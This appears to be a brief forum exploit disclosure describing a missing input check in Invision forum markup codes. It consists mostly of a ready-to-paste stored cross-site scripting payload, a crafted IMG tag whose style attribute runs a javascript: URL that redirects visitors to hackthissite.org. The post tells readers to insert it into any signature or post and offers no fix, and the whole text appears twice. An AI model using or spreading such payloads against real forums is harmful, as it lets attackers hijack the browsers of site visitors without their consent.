Daniel A.
18/02/05, 00:25
Description:
Lack of checking in the SML codes.
Exploit:
Put this into any signature or post on an invision forum:
http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.hackthissite.org');")
Fix:
I'm not good at regexes :)
Lack of checking in the SML codes.
Exploit:
Put this into any signature or post on an invision forum:
http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.hackthissite.org');")
Fix:
I'm not good at regexes :)